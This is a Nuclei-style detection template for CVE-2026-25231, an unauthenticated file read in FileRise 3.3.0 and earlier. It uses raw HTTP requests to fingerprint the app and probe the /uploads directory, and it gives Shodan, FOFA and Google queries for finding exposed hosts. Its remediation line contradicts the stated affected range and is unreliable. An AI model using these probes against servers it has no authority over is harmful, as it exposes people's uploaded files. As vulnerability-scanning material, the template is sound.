FileRise <= 3.3.0 - Unauthenticated File Read

id: CVE-2026-25231

info:
  name: FileRise <= 3.3.0 - Unauthenticated File Read
  author: str4k3r
  severity: high
  description: |
    FileRise <= 3.3.0 contains an unauthenticated file read vulnerability caused by a lack of access control on the /uploads directory, letting unauthenticated attackers access uploaded files directly, exploit requires knowledge or guessing of file paths.
  impact: |
    Unauthenticated attackers can access sensitive uploaded files, leading to data exposure and privacy breaches.
  remediation: |
    Upgrade to version 3.3.0 or later.
  reference:
    - https://github.com/error311/FileRise/security/advisories/GHSA-hv99-77cw-hvpr
    - https://github.com/error311/FileRise
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cwe-id: CWE-284
  metadata:
    verified: true
    max-request: 3
    vendor: error311
    product: filerise
    shodan-query: 'http.title:"FileRise"'
    fofa-query: 'title="FileRise"'
    google-query: 'intitle:"FileRise"'
  tags: cve,cve2026,filerise,exposure,file-read

flow: http(1) && (http(2) || http(3))

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true
    max-redirects: 2
    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
          - "contains(to_lower(body), '<title>filerise')"
          - "contains_any(body, 'api/auth/login_basic.php', 'js/main.js')"
        condition: and
        internal: true

  - raw:
      - |
        GET /uploads/README.md HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
          - "len(body) > 0"
          - "!contains(to_lower(content_type), 'text/html')"
          - "!contains(to_lower(body), '<title')"
        condition: and

  - raw:
      - |
        GET /uploads HTTP/1.1
        Host: {{Hostname}}

    redirects: false
    matchers:
      - type: dsl
        dsl:
          - "status_code == 301"
          - "contains(header, '/uploads/')"
        condition: and
# digest: 4a0a0047304502203235d67ccc8d63dea95f8cbb998c8bdd8928f240c489261879be0aeb95b5cd040221008180df9e479a5a14789b841833686ddaa0b77dde6740c56bb539bea23198c502:922c64590222798bb761d5b6d8e72950